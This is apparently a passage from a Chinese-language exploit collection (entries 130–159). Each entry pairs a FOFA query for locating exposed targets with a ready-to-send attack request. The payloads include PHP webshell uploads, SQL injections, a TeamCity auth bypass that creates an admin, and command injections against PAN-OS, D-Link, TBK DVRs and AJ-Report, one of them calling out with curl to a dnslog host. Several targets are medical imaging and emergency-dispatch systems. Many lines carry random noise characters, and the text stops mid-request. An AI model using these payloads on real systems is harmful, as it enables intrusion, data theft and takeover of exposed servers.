User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


' a9 `$ ?! R/ N  `% ^' w130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
) s' T3 I* z5 S8 o) G1 gPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
$ a7 n& Y" r: G, uX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
3 M' ]# z' S% |1 {& z; @" CContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
' F; g5 T' U3 b( pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
Connection: close
  H' o+ Q; O' w. F+ y8 d
------WebKitFormBoundary3OCVBiwBVsNuB2kR
- W* ]; i! E' o; AContent-Disposition: form-data; name="file"; filename="1.php"
/ f: b. r  \/ G2 X5 N4 g- @- G) ?Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
& l. h: J, V7 h2 }! v
: l3 h- q$ m' v4 Z" u0 w) w2 h% n
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
0 Y% F- t- |, c0 J) {http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
' t1 ^$ e* b& v- l, E) H9 d( n
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
% I6 t/ _* e. Z1 F/ ECVE-2024-27198
- R; o, X$ ^5 `0 z$ w; JFOFA：body="Log in to TeamCity"
6 o, ~! z% P5 }POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
( U! N/ `$ t" q& MAccept: */*
Content-Type: application/json
2 l+ H+ g; ?6 Z% R' gAccept-Encoding: gzip, deflate

" D6 O7 {! G" m0 _9 H{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


' F: p9 f5 g& I1 U2 }6 h  qCVE-2024-27199
% x3 ^" v% V+ v7 ]- `9 k/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
' g0 V2 y1 |8 C9 {  N8 W9 D/update/../admin/diagnostic.jsp
. k( z7 v6 U6 t& ~; j

/ I* x4 @3 p: h7 A& |  p% Q! s- C+ xCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
5 v. }6 y" v5 x( t/ BFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
/ a  ]+ U* z: K8 f3 n4 cContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

0 M  V+ ]8 s9 }, G. o2 o% m, i------WebKitFormBoundaryFQqYtrIWb8iBxUCx
2 d; w7 Z( m* r. D3 s  x; q/ EContent-Disposition: form-data; name="file"; filename="rce.php"
' x- R0 i; [0 s3 |( _Content-Type: application/octet-stream

* `5 \( e/ L& V  b<?php system("cat /etc/passwd");unlink(__FILE__);?>
# L- t5 O' ?4 `. t------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
7 z; v2 A" g/ a5 H& g2 U
# f" b9 M4 R, {( h' L
# a9 ~5 }  B, R% B: U3 B
  _: b' s, g+ u& Z& {134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
. M/ ~) }( _1 P+ Q* xNetentsec NS-ASG Application Security Gateway 6.3版本
7 Y9 N3 f1 {8 Q+ O; J9 K) RFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
( @4 I: i# T1 h/ jCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
: O  l. P/ w5 A$ dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
3 A+ }2 R, t$ i5 w0 EAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  M# i8 T, b# y# fAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
. t! H" ]4 k5 d, }8 ?: \9 p: ^Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
; Z* P7 a1 _  G! T2 X+ ?4 h  FTe: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


( S  j1 {2 b2 l* g1 Q. P3 n135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
7 Z( H6 @3 o0 G' s$ F' n# cCVE-2024-2022
7 @* U4 K0 r3 `( b( k6 Z$ ONetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
5 G  _' e8 r1 M5 Z+ }5 n# |' ZGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
% a& `7 I, T$ L4 t" x7 t% n9 O/ PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
1 X/ N* E1 @1 u5 d0 z) NAccept-Language: zh-CN,zh;q=0.9
" }' z" D5 m9 bConnection: close
; T+ D- u% q0 Y: Q) K

/ B2 w+ J& N4 L136. NextChat cors SSRF
3 q8 x* F9 a+ i$ Q; o3 XCVE-2023-49785
/ f. V, r& H/ {' X1 P! GFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( F. H; C" O( p. ZConnection: close
Accept: */*
2 Y- O& N' E1 N! [Accept-Language: en
. h2 g! ]0 q3 n- Q' ~/ `' M) {Accept-Encoding: gzip

# h1 B7 z- a+ D
( j( s2 m- F3 o' c* _& b137. 福建科立迅通信指挥调度平台down_file.php sql注入
4 j; b) W5 E. L% N0 Z5 y8 yCVE-2024-2620
2 ^3 f, X- @+ N4 k. `FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
% D/ a9 Y( V0 S4 C2 V1 QGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 i& C; c$ M0 g4 ~7 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
) E3 m! C7 W! fConnection: close
2 u! f" k: {4 D# P: C& x3 wCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
3 C5 e, I  D# a5 Q: M2 J3 ^Upgrade-Insecure-Requests: 1
( @- @; B, E9 A/ h$ n

* }# C9 a  d) ?2 i  `/ `138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
: Q/ p" e3 D9 E" h: M  M. LCVE-2024-2621
$ [+ K% E" Z+ y& p' tFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
7 H& j; S3 \/ c$ }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
/ C1 n: a6 a7 n, F) {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. m5 O! A" Z7 P" Y7 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 }( O, I1 A1 N2 ?5 ZAccept-Encoding: gzip, deflate, br
: z- o! N7 C5 E4 yConnection: close
Upgrade-Insecure-Requests: 1

! P% g% ?+ B9 o
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
5 P+ L: K: S9 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1

, L# x' t0 q! ]- F
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
- a6 G) _: m0 A* M! xFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
8 W8 i; z% Z1 bGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
) h- f* v' |, J1 d0 L! }Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" |3 [5 ~" J! LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
3 F! @" x5 w/ X5 x& WCookie: authcode=h8g9
5 C$ z2 U5 x9 N7 UUpgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
9 e' I, q% ]7 p( |# KUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
% F. G$ @& d" m: `! @Content-Type: application/x-www-form-urlencoded
  P8 J& E. T6 s' i: X

) V) \2 N$ n9 d: V8 U( O$ W5 z; Xdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
$ x, F4 G% N+ a. J, V( A, n

142. CMSV6车辆监控平台系统中存在弱密码
/ x' l: V3 u4 L9 c( vCVE-2024-29666
7 w) a4 Q8 h2 x' S5 M. XFOFA：body="/808gps/"
: B, s0 O( A0 M; z( Fadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

144. D-Link nas_sharing.cgi 命令注入
2 k2 e& i% G" q! B- f7 P' C" Q6 iFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
) N( i' {. j, c9 ^4 Y1 ~& P! d/ pGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
9 H+ q4 [# h; b$ s( AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
, v4 M# K& d% i1 b2 bAccept: */*
Accept-Language: en
Accept-Encoding: gzip
$ l3 y% _! ?4 h7 \1 `( H

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
6 }4 ^0 d6 h. j# Z+ aFOFA：icon_hash="-631559155"
6 M! t4 G  }  o& l0 dGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
2 U& W) Z# A$ N3 y) {9 fAccept-Encoding: gzip
: A# g& [! v2 |
; O7 T" E. ~) H9 e3 `) v/ A) D
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
: i4 l; _6 C( i8 Y6 xFOFA：app="MajordomoSL"
. t' J" B8 E9 b/ ^8 l8 p$ f% \GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
. w4 \( U5 V, n0 k: h; J" e1 oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

5 q4 b; s/ _- O0 B$ B
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
/ u- m; u8 e- L/ }' I+ JGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
$ g4 p) D# j, O+ k: TCache-Control: max-age=0
, W3 E- ?, i7 h$ s4 ~' KConnection: close


148. CrushFTP 认证绕过模板注入
) K$ n( k2 O4 V; VCVE-2024-4040
4 n7 Y, Y7 J4 B. T, x7 d* cFOFA：body="CrushFTP"
) T% o. I* |. EPAYLOAD
' C" Z2 u& `) d2 B) v8 ]5 T: a5 v
3 D$ }8 \  ^4 }4 E% q1 G149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

2 L% ~/ d+ r  H7 w" ?8 t1 ~7 ]POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
$ w- l% Z3 D/ E& J1 O/ w& BHost: x.x.x.x
" B* p( @+ [* g! i1 _" `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
) K! S4 M3 w$ f) qContent-Type: application/json;charset=UTF-8
" X+ w0 ^: j, \. hConnection: close
7 a( D: A( h% F2 M+ u) \
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

* i8 C2 J- A. n! t1 E. Y150. AJ-Report 1.4.0 认证绕过与远程代码执行
* t! p$ y/ P; f; g' O, q( F$ e5 {; S! W6 RFOFA：title="AJ-Report"
+ ^0 T$ Z% `  \7 {0 PPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ n/ \# K5 v& @1 ~* @Accept-Encoding: gzip, deflate, br
  m! {9 E% m& R  x# g* C0 T& I" EAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
9 D* e% @% S8 m& K1 qConnection: close
4 T4 S7 ^; N/ ^Content-Length: 339
  z- H- O4 _; [: d" i
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


' _8 m- ]/ r- ]- a& d! n- T151. AJ-Report 1.4.1 pageList sql注入
) l  u: f6 ?3 l1 H3 h2 r8 V8 T0 xFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 G+ \( Y! {1 J# u6 i6 l0 r; |/ {Connection: close
' w* z7 N( C5 {Accept-Encoding: gzip
& \5 d& i( g( V) c4 o+ L7 a

& A% s5 U- y2 K- K$ k) \" t152. Progress Kemp LoadMaster 远程命令执行
# w$ d( ^! r0 |) ]: D/ CCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
: B+ n# M1 t5 r: L5 pLoadMaster<=7.2.54.8 (LTSF)
& ], [$ M8 q  C3 J. P5 wLoadMaster <= 7.2.48.10 (LTS)
+ n# D8 x. u/ ?9 G; O$ dFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
# [# ^, O% H" ?. IGET /access/set?param=enableapi&value=1 HTTP/1.1
! }; b  K1 r+ E% N1 L5 ?  JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
& E7 S: ^# M' s$ ]Connection: close
5 m7 x6 q# J0 y; B: T/ LAccept: */*
& j0 \( `$ T, c: n. q1 T# _Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip

7 s: j/ u0 v9 t- Q! B' i
153. gradio任意文件读取
" u' Q2 i5 {; g- PCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
0 C4 h* L9 ~4 ~, l+ E2 E3 rhttp://x.x.x.x/config


5 Q" o. `% k# l6 j: k, J第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
4 F9 V2 \7 F: M1 iContent-Type: application/json
Accept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
4 h8 O7 X# N5 }2 E: r. d
9 V& E% B2 l" n/ x
第三步访问
& `" X0 @* v$ {" A; a* m. B1 [! Zhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
) E" i5 Q3 a& r$ c$ j8 X, U

154. 天维尔消防救援作战调度平台 SQL注入
- f6 a0 z) J1 wCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
+ x- H+ `& b& dPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
- s. }, j- n9 k8 G0 Y- ?Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
, m8 U3 n/ N) |& U. K' \Upgrade-Insecure-Requests: 1
! {+ Z" E& Z/ ^5 b8 Q9 ^Origin: http://x.x.x.x
1 j0 `  J% J3 _! G' Q5 {  ^Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
1 m) P- U, A: U- N5 k8 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
( q8 `. ^; b1 o  U4 S5 TAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
) u; p) \( [; S' _1 F
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

- V& F( w; s; Y# |; V
) L: E! F# M: f* f% N% O' w155. 六零导航页 file.php 任意文件上传
+ }+ o. J. L2 I) k& bCVE-2024-34982
. k9 T8 s, B. K9 v6 nFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
5 Z2 T# U, d5 l6 g) Q' TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
& w8 Y' ^% b% ~7 q8 F8 J  jConnection: close
& w+ \; n" V; Z# ^- G5 b- EContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
. {+ T8 u# b' f6 QAccept-Encoding: gzip, deflate, br
' C) m2 {5 v8 L7 V# o3 wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
4 @. l# E2 L+ Y8 g0 |. K
( i$ ^; ?9 A8 l0 }-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

. M1 `4 W1 k9 }% a( g<?php phpinfo();unlink(__FILE__);?>
* H8 {, o$ X/ G4 ~6 [-----------------------------qttl7vemrsold314zg0f--
5 t' O  R. ~9 v8 W& w/ Y
! n; b. K4 H9 `0 m. E
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
! P8 Q1 V; P. G. N# \% ?3 dCVE-2024-3721
- r# `  T7 G9 O* G. U  @0 \+ b) {FOFA："Location: /login.rsp"
$ T& @- x/ H/ `, k·TBK DVR-4104
·TBK DVR-4216
, ?( C* z! z+ ?2 ?curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

* Z6 @0 m2 w, v% o- l" q
$ j; P' e8 g$ c! _6 q, z; P; Z2 ePOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& d% {3 o7 J' LConnection: close
Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip
0 }  c0 w! F- x  L2 {

157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
! p1 G  f: ], e$ X5 o, i- N2 uHost: x.x.x.x
8 \( r. k' O8 p! H& }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
* w8 t. n" }$ S' ?1 L5 i, TContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
% P" D0 ~9 u8 B5 L# y0 _; [Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
( \- W0 |0 s& {/ E* Q$ X4 i1 q) }5 U7 xContent-Disposition: form-data; name="key"

null
- z, F- }# ^+ l; G" ?------WebKitFormBoundary1imovELzPsfzp5dN
7 `5 w/ A8 j; \$ J" KContent-Disposition: form-data; name="form"

null
% G6 x4 p% v0 G9 j! m------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

& s% X# o9 M: ?7 u6 Tnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"

3 E9 r0 ^6 Y: P+ a; ?" l$ _null
+ T- F9 w. K$ E9 D& W------WebKitFormBoundary1imovELzPsfzp5dN
, f2 Z: q1 C: X0 {. \7 m8 YContent-Disposition: form-data; name="filefolder"

null
------WebKitFormBoundary1imovELzPsfzp5dN--
0 T: z7 m" b9 ~! @+ F- X3 J
1 N! g( N# \6 H
- p/ W. a' u( J2 P" ], Ahttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

1 m% n  a" ]5 j8 x2 w9 U  M: p158. Mura-CMS-processAsyncObject存在SQL注入
( `; F2 U8 _( Y, ]+ C4 C5 MCVE-2024-32640
; Y  X; B, w) _/ t2 e8 mFOFA："Generator: Masa CMS"
6 j4 w5 R7 h% hPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
& M. ^! L# {' ~# ?/ n5 tHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
( T1 N! F. J/ w5 n7 {% h

159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
! j8 ]- A) K' J6 MPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
. u9 S5 m1 u- r9 [8 h4 K& B+ XAccept-Encoding: gzip, deflate
/ y# j  Q8 W( b- i9 w$ E8 oConnection: close
Content-Type: text/xml; charset=utf-8
" f, B0 U: A+ `' D1 YSoapaction: "http://rainier/jobUpload"
9 T2 q  F. ]1 w# ~& O* i
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
& p5 Y2 _3 G5 p5 r<soap:Body>
<jobUpload xmlns="http://rainier">
  l4 j8 y6 z. P/ w  y: G<vcode>1</vcode>
<subFolder></subFolder>
9 s9 b! G8 C0 |, y, K* W& A5 ]7 E<fileName>abcrce.asmx</fileName>
